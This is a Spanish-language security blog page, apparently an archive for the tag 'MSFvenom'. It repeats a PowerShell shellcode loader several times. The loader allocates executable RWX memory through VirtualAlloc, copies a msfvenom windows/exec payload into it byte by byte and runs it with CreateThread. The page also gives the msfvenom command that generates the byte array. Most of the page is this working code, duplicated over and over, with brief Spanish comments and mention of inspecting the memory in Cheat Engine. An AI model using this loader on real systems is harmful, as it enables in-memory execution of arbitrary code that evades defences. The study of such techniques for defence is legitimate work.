MSFvenom

Script para cargar en memoria y ejecutar un payload de ejecución de comandos arbitrarios en PowerShell

# Fuente: https://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html
# Importar funciones necesarias
$code = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@

# Añadir el código CSharp con las funciones necesarias para que puedan ser reconocidas en PowerShell
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru

# Declarar la variable que tiene la shellcode con el payload
# msfvenom -p windows/exec CMD="powershell" EXITFUNC=thread -f powershell
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31
$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52
$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff
$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd
$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b
$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1
$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3
$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac
$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3
$buf += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58
$buf += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c
$buf += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24
$buf += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f
$buf += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d
$buf += 0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f
$buf += 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6
$buf += 0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80
$buf += 0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a
$buf += 0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73
$buf += 0x68,0x65,0x6c,0x6c,0x0

# Calcular el tamaño necesario para la asignación VirtualAlloc
$size = 0x1000
if ($buf.Length -gt 0x1000) {$size = $buf.Length}

# Asignar una página de memoria
# Solo funciona si el tamaño del tercer parámetro es al menos 0x1000
# Permisos RWX
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)

# Añadir la shellcode con el payload a la memoria
for ($i=0;$i -le ($buf.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $buf[$i], 1)}

# Ejecutar el payload
$winFunc::CreateThread(0,0,$x,0,0,0)

# Fuente: https://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html

# Importar funciones necesarias

$code = @"

[DllImport("kernel32.dll")]

public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]

public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]

public static extern IntPtr memset(IntPtr dest, uint src, uint count);

# Añadir el código CSharp con las funciones necesarias para que puedan ser reconocidas en PowerShell

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru

# Declarar la variable que tiene la shellcode con el payload

# msfvenom -p windows/exec CMD="powershell" EXITFUNC=thread -f powershell

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31

$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52

$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff

$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd

$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b

$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1

$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3

$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac

$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3

$buf += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58

$buf += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c

$buf += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24

$buf += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f

$buf += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d

$buf += 0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f

$buf += 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6

$buf += 0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80

$buf += 0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a

$buf += 0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73

$buf += 0x68,0x65,0x6c,0x6c,0x0

# Calcular el tamaño necesario para la asignación VirtualAlloc

$size = 0x1000

if ($buf.Length -gt 0x1000) {$size = $buf.Length}

# Asignar una página de memoria

# Solo funciona si el tamaño del tercer parámetro es al menos 0x1000

# Permisos RWX

$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)

# Añadir la shellcode con el payload a la memoria

for ($i=0;$i -le ($buf.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $buf[$i], 1)}

# Ejecutar el payload

$winFunc::CreateThread(0,0,$x,0,0,0)

Direcciones utilizadas para cargar la shellcode con el payload Analizar con Cheat Engine el payload de ejecución de comandos arbitrarios cargado en PowerShell Relación entre la shellcode y la carga en memoria desde Cheat Engine

PowerShell Security

Cargar en memoria y ejecutar un payload de ejecución de comandos arbitrarios en PowerShell

16/02/201723/05/2017

# Fuente: https://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html
# Importar funciones necesarias
$code = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@

# Añadir el código CSharp con las funciones necesarias para que puedan ser reconocidas en PowerShell
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru

# Declarar la variable que tiene la shellcode con el payload
# msfvenom -p windows/exec CMD="powershell" EXITFUNC=thread -f powershell
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31
$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52
$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff
$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd
$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b
$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1
$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3
$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac
$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3
$buf += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58
$buf += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c
$buf += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24
$buf += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f
$buf += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d
$buf += 0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f
$buf += 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6
$buf += 0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80
$buf += 0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a
$buf += 0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73
$buf += 0x68,0x65,0x6c,0x6c,0x0

# Calcular el tamaño necesario para la asignación VirtualAlloc
$size = 0x1000
if ($buf.Length -gt 0x1000) {$size = $buf.Length}

# Asignar una página de memoria
# Solo funciona si el tamaño del tercer parámetro es al menos 0x1000
# Permisos RWX
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)

# Añadir la shellcode con el payload a la memoria
for ($i=0;$i -le ($buf.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $buf[$i], 1)}

# Ejecutar el payload
$winFunc::CreateThread(0,0,$x,0,0,0)

# Fuente: https://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html

# Importar funciones necesarias

$code = @"

[DllImport("kernel32.dll")]

public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]

public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]

public static extern IntPtr memset(IntPtr dest, uint src, uint count);

# Añadir el código CSharp con las funciones necesarias para que puedan ser reconocidas en PowerShell

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru

# Declarar la variable que tiene la shellcode con el payload

# msfvenom -p windows/exec CMD="powershell" EXITFUNC=thread -f powershell

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31

$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52

$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff

$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd

$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b

$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1

$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3

$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac

$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3

$buf += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58

$buf += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c

$buf += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24

$buf += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f

$buf += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d

$buf += 0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f

$buf += 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6

$buf += 0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80

$buf += 0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a

$buf += 0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73

$buf += 0x68,0x65,0x6c,0x6c,0x0

# Calcular el tamaño necesario para la asignación VirtualAlloc

$size = 0x1000

if ($buf.Length -gt 0x1000) {$size = $buf.Length}

# Asignar una página de memoria

# Solo funciona si el tamaño del tercer parámetro es al menos 0x1000

# Permisos RWX

$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)

# Añadir la shellcode con el payload a la memoria

for ($i=0;$i -le ($buf.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $buf[$i], 1)}

# Ejecutar el payload

$winFunc::CreateThread(0,0,$x,0,0,0)

PowerShell Security

Utilizar el payload de ejecución de comandos arbitrarios para ejecutar PowerShell

11/02/201723/05/2017

Abrir Metasploit, utilizar el payload “windows/exec” (-p windows/exec) para ejecutar el comando powershell “CMD” (CMD=”powershell”) mediante un thread (EXITFUNC=thread) y mostrar la salida en formato de variable de Powershell (-f powershell)

msfvenom -p windows/exec CMD="powershell" EXITFUNC=thread -f powershell

1	msfvenom -p windows/exec CMD="powershell" EXITFUNC=thread -f powershell

Variable para utilizar en PowerShell

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31
$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52
$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff
$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd
$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b
$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1
$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3
$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac
$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3
$buf += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58
$buf += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c
$buf += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24
$buf += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f
$buf += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d
$buf += 0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f
$buf += 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6
$buf += 0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80
$buf += 0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a
$buf += 0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73
$buf += 0x68,0x65,0x6c,0x6c,0x0

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31

$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52

$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff

$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd

$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b

$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1

$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3

$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac

$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3

$buf += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58

$buf += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c

$buf += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24

$buf += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f

$buf += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d

$buf += 0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f

$buf += 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6

$buf += 0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80

$buf += 0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a

$buf += 0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73

$buf += 0x68,0x65,0x6c,0x6c,0x0

Security

06/02/201626/02/2017

msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance. Note: msfvenom has replaced both msfpayload and msfencode as of June 8th, 2015. The advantages of msfvenom are: One single tool Standardized command line options Increased speed More information: https://www.offensive-security.com/metasploit-unleashed/msfvenom/